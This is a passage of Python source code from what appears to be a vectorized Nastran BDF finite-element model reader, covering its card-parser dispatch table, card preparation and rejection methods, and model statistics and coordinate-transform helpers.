##'MATT3' : (MATT3, self.add_material_dependence), #'MATT4' : (MATT4, self.add_material_dependence), #'MATT5' : (MATT5, self.add_material_dependence), ##'MATT8' : (MATT8, self.add_material_dependence), ##'MATT9' : (MATT9, self.add_material_dependence), ## hasnt been verified, links up to MAT1, MAT2, MAT9 w/ same MID #'CREEP' : (CREEP, self.add_creep_material), #'CONM1' : (CONM1, self.add_mass), #'CONM2' : (CONM2, self.add_mass), #'CMASS1' : (CMASS1, self.add_mass), #'CMASS2' : (CMASS2, self.add_mass), #'CMASS3' : (CMASS3, self.add_mass), ## CMASS4 - added later because documentation is wrong #'MPC' : (MPC, self.add_constraint_MPC), #'MPCADD' : (MPCADD, self.add_constraint_MPC), #'SPC' : (SPC, self.add_constraint_SPC), #'SPC1' : (SPC1, self.add_constraint_SPC1), #'SPCAX' : (SPCAX, self.add_constraint_SPC), #'SPCADD' : (SPCADD, self.add_constraint_SPC), #'GMSPC' : (GMSPC, self.add_constraint_SPC), #'SESUP' : (SESUP, self.add_sesuport), # pseudo-constraint #'SUPORT' : (SUPORT, self.add_suport), # pseudo-constraint #'SUPORT1' : (SUPORT1, self.add_suport1), # pseudo-constraint #'FORCE' : (FORCE, self.add_load), #'FORCE1' : (FORCE1, self.add_load), #'FORCE2' : (FORCE2, self.add_load), #'MOMENT' : (MOMENT, self.add_load), #'MOMENT1' : (MOMENT1, self.add_load), #'MOMENT2' : (MOMENT2, self.add_load), #'LSEQ' : (LSEQ, self.add_LSEQ), #'LOAD' : (LOAD, self.add_load), #'LOADCYN' : (LOADCYN, self.add_load), #'GRAV' : (GRAV, self.add_load), #'ACCEL' : (ACCEL, self.add_load), #'ACCEL1' : (ACCEL1, self.add_load), #'PLOAD' : (PLOAD, self.add_load), #'PLOAD1' : (PLOAD1, self.add_load), #'PLOAD2' : (PLOAD2, self.add_load), #'PLOAD4' : (PLOAD4, self.add_load), #'PLOADX1' : (PLOADX1, self.add_load), #'RFORCE' : (RFORCE, self.add_load), #'RFORCE1' : (RFORCE1, self.add_load), #'SLOAD' : (SLOAD, self.add_load), #'RANDPS' : (RANDPS, self.add_load), #'GMLOAD' : (GMLOAD, self.add_load), #'SPCD' : (SPCD, self.add_load), # enforced displacement #'QVOL' : (QVOL, self.add_load), # thermal #'DLOAD' : (DLOAD, self.add_dload), #'ACSRCE' : (ACSRCE, self._add_dload_entry), #'TLOAD1' : (TLOAD1, self._add_dload_entry), #'TLOAD2' : (TLOAD2, self._add_dload_entry), #'RLOAD1' : (RLOAD1, self._add_dload_entry), #'RLOAD2' : (RLOAD2, self._add_dload_entry), #'FREQ' : (FREQ, self.add_FREQ), #'FREQ1' : (FREQ1, self.add_FREQ), #'FREQ2' : (FREQ2, self.add_FREQ), #'FREQ4' : (FREQ4, self.add_FREQ), 'DOPTPRM' : (DOPTPRM, self._add_doptprm), 'DESVAR' : (DESVAR, self.add_desvar), # BCTSET #'TEMP' : (TEMP, self.add_thermal_load), #'QBDY1' : (QBDY1, self.add_thermal_load), #'QBDY2' : (QBDY2, self.add_thermal_load), #'QBDY3' : (QBDY3, self.add_thermal_load), #'QHBDY' : (QHBDY, self.add_thermal_load), #'PHBDY' : (PHBDY, self.add_PHBDY), #'CHBDYE' : (CHBDYE, self.add_thermal_element), #'CHBDYG' : (CHBDYG, self.add_thermal_element), #'CHBDYP' : (CHBDYP, self.add_thermal_element), #'PCONV' : (PCONV, self.add_convection_property), #'PCONVM' : (PCONVM, self.add_convection_property), # aero 'AECOMP' : (AECOMP, self.add_aecomp), 'AEFACT' : (AEFACT, self.add_aefact), 'AELINK' : (AELINK, self.add_aelink), 'AELIST' : (AELIST, self.add_aelist), 'AEPARM' : (AEPARM, self.add_aeparm), 'AESTAT' : (AESTAT, self.add_aestat), 'AESURF' : (AESURF, self.add_aesurf), 'AESURFS' : (AESURFS, self.add_aesurfs), 'CAERO1' : (CAERO1, self.add_caero), 'CAERO2' : (CAERO2, self.add_caero), 'CAERO3' : (CAERO3, self.add_caero), 'CAERO4' : (CAERO4, self.add_caero), 'CAERO5' : (CAERO5, self.add_caero), 'PAERO1' : (PAERO1, self.add_paero), 'PAERO2' : (PAERO2, self.add_paero), 'PAERO3' : (PAERO3, self.add_paero), 'PAERO4' : (PAERO4, self.add_paero), 'PAERO5' : (PAERO5, self.add_paero), 'SPLINE1' : (SPLINE1, self.add_spline), 'SPLINE2' : (SPLINE2, self.add_spline), 'SPLINE3' : (SPLINE3, self.add_spline), 'SPLINE4' : (SPLINE4, self.add_spline), 'SPLINE5' : (SPLINE5, self.add_spline), # SOL 144 'AEROS' : (AEROS, self.add_aeros), 'TRIM' : (TRIM, self.add_trim), 'DIVERG' : (DIVERG, self.add_diverg), # SOL 145 'AERO' : (AERO, self.add_aero), 'FLUTTER' : (FLUTTER, self.add_flutter), 'FLFACT' : (FLFACT, self.add_flfact), 'MKAERO1' : (MKAERO1, self.add_mkaero), 'MKAERO2' : (MKAERO2, self.add_mkaero), 'GUST' : (GUST, self.add_gust), 'CSSCHD' : (CSSCHD, self.add_csschd), 'MONPNT1' : (MONPNT1, self.add_monpnt), 'NLPARM' : (NLPARM, self.add_nlparm), 'NLPCI' : (NLPCI, self.add_nlpci), 'TSTEP' : (TSTEP, self.add_tstep), 'TSTEPNL' : (TSTEPNL, self.add_tstepnl), #'TF' : (TF, self.add_TF), #'DELAY' : (DELAY, self.add_DELAY), 'DCONADD' : (DCONADD, self.add_dconstr), 'DCONSTR' : (DCONSTR, self.add_dconstr), 'DDVAL' : (DDVAL, self.add_ddval), 'DLINK' : (DLINK, self.add_dlink), #'DTABLE' : (DTABLE, self.add_dtable), 'DRESP1' : (DRESP1, self.add_dresp), 'DRESP2' : (DRESP2, self.add_dresp), # deqatn 'DRESP3' : (DRESP3, self.add_dresp), 'DVCREL1' : (DVCREL1, self.add_dvcrel), # dvcrels 'DVCREL2' : (DVCREL2, self.add_dvcrel), 'DVPREL1' : (DVPREL1, self.add_dvprel), # dvprels 'DVPREL2' : (DVPREL2, self.add_dvprel), 'DVMREL1' : (DVMREL1, self.add_dvmrel), # ddvmrels 'DVMREL2' : (DVMREL2, self.add_dvmrel), 'DVGRID' : (DVGRID, self.add_dvgrid), # dvgrids #'TABLED1' : (TABLED1, self.add_table), #'TABLED2' : (TABLED2, self.add_table), #'TABLED3' : (TABLED3, self.add_table), #'TABLED4' : (TABLED4, self.add_table), #'TABLEM1' : (TABLEM1, self.add_table), #'TABLEM2' : (TABLEM2, self.add_table), #'TABLEM3' : (TABLEM3, self.add_table), #'TABLEM4' : (TABLEM4, self.add_table), #'TABLES1' : (TABLES1, self.add_table), #'TABLEST' : (TABLEST, self.add_table), #'TABDMP1' : (TABDMP1, self.add_table_sdamping), #'TABRND1' : (TABRND1, self.add_random_table), #'TABRNDG' : (TABRNDG, self.add_random_table), 'EIGB' : (EIGB, self.add_method), 'EIGR' : (EIGR, self.add_method), 'EIGRL' : (EIGRL, self.add_method), 'EIGC' : (EIGC, self.add_cmethod), 'EIGP' : (EIGP, self.add_cmethod), 'BCRPARA' : (BCRPARA, self.add_bcrpara), 'BCTADD' : (BCTADD, self.add_bctadd), 'BCTPARA' : (BCTPARA, self.add_bctpara), 'BSURF' : (BSURF, self.add_bsurf), 'BSURFS' : (BSURFS, self.add_bsurfs), 'ASET' : (ASET, self.add_aset), 'ASET1' : (ASET1, self.add_aset), 'BSET' : (BSET, self.add_bset), 'BSET1' : (BSET1, self.add_bset), 'CSET' : (CSET, self.add_cset), 'CSET1' : (CSET1, self.add_cset), 'QSET' : (QSET, self.add_qset), 'QSET1' : (QSET1, self.add_qset), 'USET' : (USET, self.add_uset), 'USET1' : (USET1, self.add_uset), 'SET1' : (SET1, self.add_set), 'SET3' : (SET3, self.add_set), 'SESET' : (SESET, self.add_seset), 'SEBSET' : (SEBSET, self.add_sebset), 'SEBSET1' : (SEBSET1, self.add_sebset), 'SECSET' : (SECSET, self.add_secset), 'SECSET1' : (SECSET1, self.add_secset), 'SEQSET' : (SEQSET, self.add_seqset), 'SEQSET1' : (SEQSET1, self.add_seqset), #'SESUP' : (SESUP, self.add_SESUP), # pseudo-constraint #'SEUSET' : (SEUSET, self.add_SEUSET), #'SEUSET1' : (SEUSET1, self.add_SEUSET), # BCTSET } self._card_parser_prepare = { #'CORD2R' : (CORD2R, self._add_coord_object), # not vectorized #'CORD2C' : (CORD2C, self._add_coord_object), #'CORD2S' : (CORD2S, self._add_coord_object), 'CORD2R' : self._prepare_cord2, # vectorized 'CORD2C' : self._prepare_cord2, 'CORD2S' : self._prepare_cord2, #'CORD1R' : self._prepare_cord1r, #'CORD1C' : self._prepare_cord1c, #'CORD1S' : self._prepare_cord1s, ##'CORD3G' : self._prepare_CORD3G, #'DAREA' : self._prepare_darea, #'DPHASE' : self._prepare_dphase, #'PMASS' : self._prepare_pmass, #'CMASS4' : self._prepare_cmass4, #'CDAMP4' : self._prepare_cdamp4, 'DMIG' : self._prepare_dmig, 'DMI' : self._prepare_dmi, 'DMIJ' : self._prepare_dmij, 'DMIK' : self._prepare_dmik, 'DMIJI' : self._prepare_dmiji, 'DEQATN' : self._prepare_dequatn, #'PVISC' : self._prepare_pvisc, #'PELAS' : self._prepare_pelas, #'PDAMP' : self._prepare_pdamp, #'TEMPD' : self._prepare_tempd, #'CONVM' : self._prepare_convm, #'CONV' : self._prepare_conv, #'RADM' : self._prepare_radm, #'RADBC' : self._prepare_radbc, ## GRDSET-will be last card to update from _card_parser_prepare #'GRDSET' : self._prepare_grdset, #'BCTSET' : self._prepare_bctset, } def reject_card_obj2(self, card_name, card_obj): """rejects a card object""" self.reject_cards.append(card_obj) def reject_card_lines(self, card_name, card_lines, comment=''): """rejects a card""" if card_name.isdigit(): # TODO: this should technically work (I think), but it's a problem # for the code # # prevents: # spc1,100,456,10013832,10013833,10013830,10013831,10013836,10013837, # 10013834,10013835,10013838,10013839,10014508,10008937,10008936,10008935, msg = 'card_name=%r was misparsed...\ncard_lines=%s' % ( card_name, card_lines) raise RuntimeError(msg) if card_name not in self.card_count: if ' ' in card_name: msg = ( 'No spaces allowed in card name %r. ' 'Should this be a comment?\n%s%s' % ( card_name, comment, card_lines)) raise RuntimeError(msg) if card_name in ['SUBCASE ', 'CEND']: raise RuntimeError('No executive/case control deck was defined.') self.log.info(' rejecting card_name = %s' % card_name) self._increase_card_count(card_name) self.rejects.append([comment] + card_lines) def _prepare_bctset(self, card, card_obj, comment=''): """adds a GRDSET""" card = BCTSET.add_card(card_obj, comment=comment, sol=self.sol) self.add_bctset(card) def _prepare_grdset(self, card, card_obj, comment=''): """adds a GRDSET""" self.grdset = GRDSET.add_card(card_obj, comment=comment) #def _prepare_cdamp4(self, card, card_obj, comment=''): #"""adds a CDAMP4""" #self.add_damper(CDAMP4.add_card(card_obj, comment=comment)) #if card_obj.field(5): #self.add_damper(CDAMP4.add_card(card_obj, 1, comment='')) #return card_obj def _prepare_convm(self, card, card_obj, comment=''): """adds a CONVM""" boundary_condition = CONVM.add_card(card_obj, comment=comment) self.add_thermal_bc(boundary_condition, boundary_condition.eid) def _prepare_conv(self, card, card_obj, comment=''): """adds a CONV""" boundary_condition = CONV.add_card(card_obj, comment=comment) self.add_thermal_bc(boundary_condition, boundary_condition.eid) def _prepare_radm(self, card, card_obj, comment=''): """adds a RADM""" boundary_condition = RADM.add_card(card, comment=comment) self.add_thermal_bc(boundary_condition, boundary_condition.radmid) def _prepare_radbc(self, card, card_obj, comment=''): """adds a RADBC""" boundary_condition = RADBC(card_obj, comment=comment) self.add_thermal_bc(boundary_condition, boundary_condition.nodamb) def _prepare_tempd(self, card, card_obj, comment=''): """adds a TEMPD""" self.add_tempd(TEMPD.add_card(card_obj, 0, comment=comment)) if card_obj.field(3): self.add_tempd(TEMPD.add_card(card_obj, 1, comment='')) if card_obj.field(5): self.add_tempd(TEMPD.add_card(card_obj, 2, comment='')) if card_obj.field(7): self.add_tempd(TEMPD.add_card(card_obj, 3, comment='')) def _add_doptprm(self, doptprm, comment=''): """adds a DOPTPRM""" self.doptprm = doptprm def _prepare_dequatn(self, card, card_obj, comment=''): """adds a DEQATN""" if hasattr(self, 'test_deqatn') or 1: self.add_deqatn(DEQATN.add_card(card_obj, comment=comment)) else: if comment: self.rejects.append([comment]) self.rejects.append(card) def _prepare_dmig(self, card, card_obj, comment=''): """adds a DMIG""" name = string(card_obj, 1, 'name') field2 = integer_or_string(card_obj, 2, 'flag') #print('name=%r field2=%r' % (name, field2)) if name == 'UACCEL': # special DMIG card if field2 == 0: card = DMIG_UACCEL.add_card(card_obj, comment=comment) self.add_dmig(card) else: self._dmig_temp[name].append((card_obj, comment)) else: field2 = integer_or_string(card_obj, 2, 'flag') if field2 == 0: card = DMIG(card_obj, comment=comment) self.add_dmig(card) else: self._dmig_temp[name].append((card_obj, comment)) def _prepare_dmix(self, class_obj, add_method, card_obj, comment=''): """adds a DMIx""" #elif card_name in ['DMI', 'DMIJ', 'DMIJI', 'DMIK']: field2 = integer(card_obj, 2, 'flag') if field2 == 0: add_method(class_obj(card_obj, comment=comment)) else: name = string(card_obj, 1, 'name') self._dmig_temp[name].append((card_obj, comment)) def _prepare_dmi(self, card, card_obj, comment=''): """adds a DMI""" self._prepare_dmix(DMI, self.add_dmi, card_obj, comment=comment) def _prepare_dmij(self, card, card_obj, comment=''): """adds a DMIJ""" self._prepare_dmix(DMIJ, self.add_dmij, card_obj, comment=comment) def _prepare_dmik(self, card, card_obj, comment=''): """adds a DMIK""" self._prepare_dmix(DMIK, self.add_dmik, card_obj, comment=comment) def _prepare_dmiji(self, card, card_obj, comment=''): """adds a DMIJI""" self._prepare_dmix(DMIJI, self.add_dmiji, card_obj, comment=comment) #def _prepare_cmass4(self, card, card_obj, comment=''): #"""adds a CMASS4""" #class_instance = CMASS4.add_card(card_obj, icard=0, comment=comment) #self.add_mass(class_instance) #if card_obj.field(5): #class_instance = CMASS4.add_card(card_obj, icard=1, comment=comment) #self.add_mass(class_instance) #def _prepare_pelas(self, card, card_obj, comment=''): #"""adds a PELAS""" #class_instance = PELAS.add_card(card_obj, icard=0, comment=comment) #self.add_property(class_instance) #if card_obj.field(5): #class_instance = PELAS.add_card(card_obj, icard=1, comment=comment) #self.add_property(class_instance) #def _prepare_pvisc(self, card, card_obj, comment=''): #"""adds a PVISC""" #class_instance = PVISC.add_card(card_obj, icard=0, comment=comment) #self.add_property(class_instance) #if card_obj.field(5): #class_instance = PVISC.add_card(card_obj, icard=1, comment=comment) #self.add_property(class_instance) #def _prepare_pdamp(self, card, card_obj, comment=''): #"""adds a PDAMP""" #class_instance = PDAMP.add_card(card_obj, icard=0, comment=comment) #self.add_property(class_instance) #if card_obj.field(3): #class_instance = PDAMP.add_card(card_obj, icard=1, comment=comment) #self.add_property(class_instance) #if card_obj.field(5): #class_instance = PDAMP.add_card(card_obj, icard=2, comment=comment) #self.add_property(class_instance) #if card_obj.field(7): #class_instance = PDAMP.add_card(card_obj, icard=3, comment=comment) #self.add_property(class_instance) #def _prepare_pmass(self, card, card_obj, comment=''): #"""adds a PMASS""" #card_instance = PMASS(card_obj, icard=0, comment=comment) #self.add_property_mass(card_instance) #for (i, j) in enumerate([3, 5, 7]): #if card_obj.field(j): #card_instance = PMASS(card_obj, icard=i+1, comment=comment) #self.add_property_mass(card_instance) #def _prepare_dphase(self, card, card_obj, comment=''): #"""adds a DPHASE""" #class_instance = DPHASE.add_card(card_obj, comment=comment) #self.add_dphase(class_instance) #if card_obj.field(5): #print('card_obj = ', card_obj) #class_instance = DPHASE(card_obj, icard=1, comment=comment) #self.add_DPHASE(class_instance) def _prepare_cord1r(self, card, card_obj, comment=''): """adds a CORD1R""" class_instance = CORD1R.add_card(card_obj, comment=comment) self._add_coord_object(class_instance) if card_obj.field(5): class_instance = CORD1R.add_card(card_obj, icard=1, comment=comment) self._add_coord_object(class_instance) def _prepare_cord1c(self, card, card_obj, comment=''): """adds a CORD1C""" class_instance = CORD1C.add_card(card_obj, comment=comment) self._add_coord_object(class_instance) if card_obj.field(5): class_instance = CORD1C.add_card(card_obj, icard=1, comment=comment) self._add_coord_object(class_instance) def _prepare_cord1s(self, card, card_obj, comment=''): """adds a CORD1S""" class_instance = CORD1S.add_card(card_obj, comment=comment) self._add_coord_object(class_instance) if card_obj.field(5): class_instance = CORD1S.add_card(card_obj, icard=1, comment=comment) self._add_coord_object(class_instance) def _prepare_cord2(self, card, card_obj, comment=''): """adds a CORD2x""" self.coords.add_cord2x(card, card_obj, comment) def add_card(self, card_lines, card_name, comment='', is_list=True, has_none=True): """ Adds a card object to the BDF object. Parameters ---------- card_lines: list[str] the list of the card fields card_name : str the card_name -> 'GRID' comment : str an optional the comment for the card is_list : bool, optional False : input is a list of card fields -> ['GRID', 1, None, 3.0, 4.0, 5.0] True : input is list of card_lines -> ['GRID, 1,, 3.0, 4.0, 5.0'] has_none : bool; default=True can there be trailing Nones in the card data (e.g. ['GRID', 1, 2, 3.0, 4.0, 5.0, None]) can there be trailing Nones in the card data (e.g. ['GRID, 1, 2, 3.0, 4.0, 5.0, ']) Returns ------- card_object : BDFCard() the card object representation of card .. code-block:: python >>> model = BDF() # is_list is a somewhat misleading name; is it a list of card_lines # where a card_line is an unparsed string >>> card_lines = ['GRID,1,2'] >>> comment = 'this is a comment' >>> model.add_card(card_lines, 'GRID', comment, is_list=True) # here is_list=False because it's been parsed >>> card = ['GRID', 1, 2,] >>> model.add_card(card_lines, 'GRID', comment, is_list=False) # here is_list=False because it's been parsed # Note the None at the end of the 1st line, which is there # because the CONM2 card has a blank field. # It must be there. # We also set i32 on the 2nd line, so it will default to 0.0 >>> card = [ 'CONM2', eid, nid, cid, mass, x1, x2, x3, None, i11, i21, i22, i31, None, i33, ] >>> model.add_card(card_lines, 'CONM2', comment, is_list=False) # here's an alternate approach for the CONM2 # we use Nastran's CSV format # There are many blank fields, but it's parsed exactly like a # standard CONM2. >>> card = [ 'CONM2,1,2,3,10.0', ',1.0,,5.0' ] >>> model.add_card(card_lines, 'CONM2', comment, is_list=True) .. note:: this is a very useful method for interfacing with the code .. note:: the card_object is not a card-type object...so not a GRID card or CQUAD4 object. It's a BDFCard Object. However, you know the type (assuming a GRID), so just call the *mesh.Node(nid)* to get the Node object that was just created. """ card_name = card_name.upper() card_obj, card = self.create_card_object(card_lines, card_name, is_list=is_list, has_none=has_none) self._add_card_helper(card_obj, card_name, card_name, comment) return card_obj def add_card_fields(self, card_lines, card_name, comment='', has_none=True): """ Adds a card object to the BDF object. Parameters ---------- card_lines: list[str] the list of the card fields input is a list of card fields -> ['GRID', 1, 2, 3.0, 4.0, 5.0] card_name : str the card_name -> 'GRID' comment : str an optional the comment for the card has_none : bool; default=True can there be trailing Nones in the card data (e.g. ['GRID', 1, 2, 3.0, 4.0, 5.0, None]) Returns ------- card_object : BDFCard() the card object representation of card """ card_name = card_name.upper() card_obj, card = self.create_card_object(card_lines, card_name, is_list=True, has_none=has_none) self._add_card_helper(card_obj, card, card_name, comment) def add_card_lines(self, card_lines, card_name, comment='', has_none=True): """ Adds a card object to the BDF object. Parameters ---------- card_lines: list[str] the list of the card fields input is list of card_lines -> ['GRID, 1, 2, 3.0, 4.0, 5.0'] card_name : str the card_name -> 'GRID' comment : str; default='' an optional the comment for the card has_none : bool; default=True can there be trailing Nones in the card data (e.g. ['GRID, 1, 2, 3.0, 4.0, 5.0, ']) """ card_name = card_name.upper() card_obj, card = self.create_card_object(card_lines, card_name, is_list=False, has_none=has_none) self._add_card_helper(card_obj, card, card_name, comment) @property def nodes(self): ngrids = len(self.grid) assert ngrids > 0, ngrids nspoints = 0 nepoints = 0 if self.spoint.n: spoints = self.spoint.points nspoints = len(spoints) if self.epoint.n: epoints = self.epoint.points nepoints = len(epoints) raise NotImplementedError('EPOINT') assert ngrids + nspoints + nepoints > 0, 'ngrids=%s nspoints=%s nepoints=%s' % (ngrids, nspoints, nepoints) nodes = np.zeros(ngrids + nspoints + nepoints, dtype='int32') nodes[:ngrids] = self.grid.node_id if nspoints: nodes[ngrids:ngrids+nspoints] = self.spoint.points if nepoints: nodes[ngrids+nspoints:] = self.epoint.points return nodes def get_xyz_in_coord(self, cid=0, dtype='float32'): """ Gets the xyz points (including SPOINTS) in the desired coordinate frame Parameters ---------- cid : int; default=0 the desired coordinate system dtype : str; default='float32' the data type of the xyz coordinates Returns ------- xyz : (n, 3) ndarray the xyz points in the cid coordinate frame .. warning:: doesn't support EPOINTs """ ngrids = len(self.grid) nspoints = 0 nepoints = 0 spoints = None if self.spoint.n: spoints = self.point.points nspoints = len(spoints) if self.epoint.n: epoints = self.point.points nepoints = len(epoints) raise NotImplementedError('EPOINT') assert ngrids + nspoints + nepoints > 0, 'ngrids=%s nspoints=%s nepoints=%s' % (ngrids, nspoints, nepoints) xyz_cid0 = np.zeros((ngrids + nspoints + nepoints, 3), dtype=dtype) if cid == 0: xyz_cid0 = self.grid.get_position_by_node_index() assert nspoints == 0, nspoints else: assert cid == 0, cid assert nspoints == 0, nspoints return xyz_cid0 def _add_card_helper(self, card_obj, card, card_name, comment=''): """ Adds a card object to the BDF object. Parameters ---------- card_object : BDFCard() the card object representation of card card : List[str] the fields of the card object; used for rejection and special cards card_name : str the card_name -> 'GRID' comment : str an optional the comment for the card """ if card_name == 'ECHOON': self.echo = True return elif card_name == 'ECHOOFF': self.echo = False return if self.echo: try: print(print_card_8(card_obj).rstrip()) except: print(print_card_16(card_obj).rstrip()) if card_name in self._card_parser: card_class, add_card_function = self._card_parser[card_name] try: class_instance = card_class.add_card(card_obj, comment=comment) add_card_function(class_instance) except TypeError: msg = 'problem adding %s' % card_obj raise raise TypeError(msg) except (SyntaxError, AssertionError, KeyError, ValueError) as exception: raise # WARNING: Don't catch RuntimeErrors or a massive memory leak can occur #tpl/cc451.bdf #raise # NameErrors should be caught #self._iparse_errors += 1 #self.log.error(card_obj) #var = traceback.format_exception_only(type(exception), exception) #self._stored_parse_errors.append((card, var)) #if self._iparse_errors > self._nparse_errors: #self.pop_parse_errors() #raise #except AssertionError as exception: #self.log.error(card_obj) elif card_name in self._card_parser_prepare: add_card_function = self._card_parser_prepare[card_name] try: add_card_function(card, card_obj, comment) except (SyntaxError, AssertionError, KeyError, ValueError) as exception: raise # WARNING: Don't catch RuntimeErrors or a massive memory leak can occur #tpl/cc451.bdf #raise # NameErrors should be caught #self._iparse_errors += 1 #self.log.error(card_obj) #var = traceback.format_exception_only(type(exception), exception) #self._stored_parse_errors.append((card, var)) #if self._iparse_errors > self._nparse_errors: #self.pop_parse_errors() #except AssertionError as exception: #self.log.error(card_obj) #raise else: #raise RuntimeError(card_obj) self.reject_cards.append(card_obj) def add_card_class(self, class_instance): """ Adds a card object to the BDF object. Parameters ---------- class_instance : BaseCard() the card class representation of card """ #if card_name == 'ECHOON': #self.echo = True #return #elif card_name == 'ECHOOFF': #self.echo = False #return if self.echo: try: print(print_card_8(class_instance).rstrip()) except: print(print_card_16(class_instance).rstrip()) card_name = class_instance.type if card_name in self._card_parser: add_card_function = self._card_parser[card_name][1] add_card_function(class_instance) elif card_name in self._card_parser_prepare: # TODO: could be faster... comment = class_instance.comment class_instance.comment = '' card_lines = str(class_instance).split('\n') self.add_card(card_lines, card_name, comment=comment, is_list=False, has_none=True) #add_card_function = self._card_parser_prepare[card_name] #add_card_function(card, card_obj) else: self.reject_cards.append(class_instance) def get_bdf_stats(self, return_type='string'): """ Print statistics for the BDF Parameters ---------- return_type : str (default='string') the output type ('list', 'string') 'list' : list of strings 'string' : single, joined string Returns ------- return_data : str, optional the output data .. note:: if a card is not supported and not added to the proper lists, this method will fail """ return '' card_stats = [ 'params', 'nodes', 'points', 'elements', 'rigid_elements', 'properties', 'materials', 'creep_materials', 'MATT1', 'MATT2', 'MATT3', 'MATT4', 'MATT5', 'MATT8', 'MATT9', 'MATS1', 'MATS3', 'MATT8', 'coords', 'mpcs', 'mpcadds', # dynamic cards 'dareas', 'dphases', 'nlparms', 'nlpcis', 'tsteps', 'tstepnls', # direct matrix input - DMIG - dict 'dmis', 'dmigs', 'dmijs', 'dmijis', 'dmiks', 'dequations', # frequencies - dict 'frequencies', # optimization - dict 'dconadds', 'dconstrs', 'desvars', 'ddvals', 'dlinks', 'dresps', 'dvcrels', 'dvmrels', 'dvprels', 'dvgrids', # SESETx - dict 'suport1', 'se_sets', 'se_usets', # tables 'tables', 'random_tables', # methods 'methods', 'cMethods', # aero 'caeros', 'paeros', 'aecomps', 'aefacts', 'aelinks', 'aelists', 'aeparams', 'aesurfs', 'aestats', 'gusts', 'flfacts', 'flutters', 'splines', 'trims', # thermal 'bcs', 'thermal_materials', 'phbdys', 'convection_properties', ] # These are ignored because they're lists ignored_types = set([ 'spoints', 'spointi', # singleton 'grdset', # singleton 'spcs', 'spcadds', 'suport', 'se_suport', # suport, suport1 - list 'doptprm', # singleton # SETx - list 'sets', 'asets', 'bsets', 'csets', 'qsets', 'se_bsets', 'se_csets', 'se_qsets', ]) ## TODO: why are some of these ignored? ignored_types2 = set([ 'case_control_deck', 'caseControlDeck', 'spcObject2', 'mpcObject2', # done 'sol', 'loads', 'mkaeros', 'rejects', 'reject_cards', # not cards 'debug', 'executive_control_lines', 'case_control_lines', 'cards_to_read', 'card_count', 'isStructured', 'uniqueBulkDataCards', 'nCardLinesMax', 'model_type', 'includeDir', 'sol_method', 'log', 'linesPack', 'lineNumbers', 'sol_iline', 'reject_count', '_relpath', 'isOpened', #'foundEndData', 'specialCards',]) unsupported_types = ignored_types.union(ignored_types2) all_params = object_attributes(self, keys_to_skip=unsupported_types) msg = ['---BDF Statistics---'] # sol msg.append('SOL %s\n' % self.sol) # loads for (lid, loads) in sorted(iteritems(self.loads)): msg.append('bdf.loads[%s]' % lid) groups_dict = {} for loadi in loads: groups_dict[loadi.type] = groups_dict.get(loadi.type, 0) + 1 for name, count_name in sorted(iteritems(groups_dict)): msg.append(' %-8s %s' % (name + ':', count_name)) msg.append('') # dloads for (lid, loads) in sorted(iteritems(self.dloads)): msg.append('bdf.dloads[%s]' % lid) groups_dict = {} for loadi in loads: groups_dict[loadi.type] = groups_dict.get(loadi.type, 0) + 1 for name, count_name in sorted(iteritems(groups_dict)): msg.append(' %-8s %s' % (name + ':', count_name)) msg.append('') for (lid, loads) in sorted(iteritems(self.dload_entries)): msg.append('bdf.dload_entries[%s]' % lid) groups_dict = {} for loadi in loads: groups_dict[loadi.type] = groups_dict.get(loadi.type, 0) + 1 for name, count_name in sorted(iteritems(groups_dict)): msg.append(' %-8s %s' % (name + ':', count_name)) msg.append('') # aero if self.aero: msg.append('bdf:aero') msg.append(' %-8s %s' % ('AERO:', 1)) # aeros if self.aeros: msg.append('bdf:aeros') msg.append(' %-8s %s' % ('AEROS:', 1)) #mkaeros if self.mkaeros: msg.append('bdf:mkaeros') msg.append(' %-8s %s' % ('MKAERO:', len(self.mkaeros))) for card_group_name in card_stats: card_group = getattr(self, card_group_name) groups = set([]) if not isinstance(card_group, dict): msg = '%s is a %s; not dictionary' % (card_group_name, type(card_group)) raise RuntimeError(msg) for card in itervalues(card_group): if isinstance(card, list): for card2 in card: groups.add(card2.type) else: groups.add(card.type) group_msg = [] for card_name in sorted(groups): try: ncards = self.card_count[card_name] group_msg.append(' %-8s : %s' % (card_name, ncards)) except KeyError: group_msg.append(' %-8s : ???' % card_name) #assert card_name == 'CORD2R', self.card_count if group_msg: msg.append('bdf.%s' % card_group_name) msg.append('\n'.join(group_msg)) msg.append('') # rejects if self.rejects: msg.append('Rejected Cards') for name, counter in sorted(iteritems(self.card_count)): if name not in self.cards_to_read: msg.append(' %-8s %s' % (name + ':', counter)) msg.append('') if return_type == 'string': return '\n'.join(msg) else: return msg def get_displacement_index_xyz_cp_cd(self, dtype='float64'): """ Get index and transformation matricies for nodes with their output in coordinate systems other than the global. Used in combination with ``OP2.transform_displacements_to_global`` Returns ---------- icd_transform : dict{int cd : (n,) int ndarray} Dictionary from coordinate id to index of the nodes in ``self.point_ids`` that their output (`CD`) in that coordinate system. icp_transform : dict{int cp : (n,) int ndarray} Dictionary from coordinate id to index of the nodes in ``self.point_ids`` that their input (`CP`) in that coordinate system. xyz_cp : (n, 3) float ndarray points in the CP coordinate system nid_cp_cd : (n, 3) int ndarray node id, CP, CD for each node dtype : str the type of xyz_cp Example ------- # assume GRID 1 has a CD=10 # assume GRID 2 has a CD=10 # assume GRID 5 has a CD=50 >>> model.point_ids [1, 2, 5] >>> i_transform = model.get_displacement_index_xyz_cp_cd() >>> i_transform[10] [0, 1] >>> i_transform[50] [2] """ nids_cd_transform = defaultdict(list) nids_cp_transform = defaultdict(list) i_transform = {} nnodes = len(self.nodes) nspoints = 0 nepoints = 0 spoints = None epoints = None if self.spoints: spoints = self.spoints.points nspoints = len(spoints) if self.epoints is not None: epoints = self.epoints.points nepoints = len(epoints) #raise NotImplementedError('EPOINTs') if nnodes + nspoints + nepoints == 0: msg = 'nnodes=%s nspoints=%s nepoints=%s' % (nnodes, nspoints, nepoints) raise ValueError(msg) #xyz_cid0 = np.zeros((nnodes + nspoints, 3), dtype=dtype) xyz_cp = np.zeros((nnodes + nspoints, 3), dtype=dtype) nid_cp_cd = np.zeros((nnodes + nspoints, 3), dtype='int32') i = 0 for nid, node in sorted(iteritems(self.nodes)): cd = node.Cd() cp = node.Cp() nids_cd_transform[cp].append(nid) nids_cd_transform[cd].append(nid) nid_cp_cd[i, :] = [nid, cp, cd] xyz_cp[i, :] = node.xyz i += 1 if nspoints: for nid in sorted(self.spoints.points): nid_cp_cd[i] = nid i += 1 if nepoints: for nid in sorted(self.epoints.points): nid_cp_cd[i] = nid i += 1 icp_transform = {} icd_transform = {} nids_all = np.array(sorted(self.point_ids)) for cd, nids in 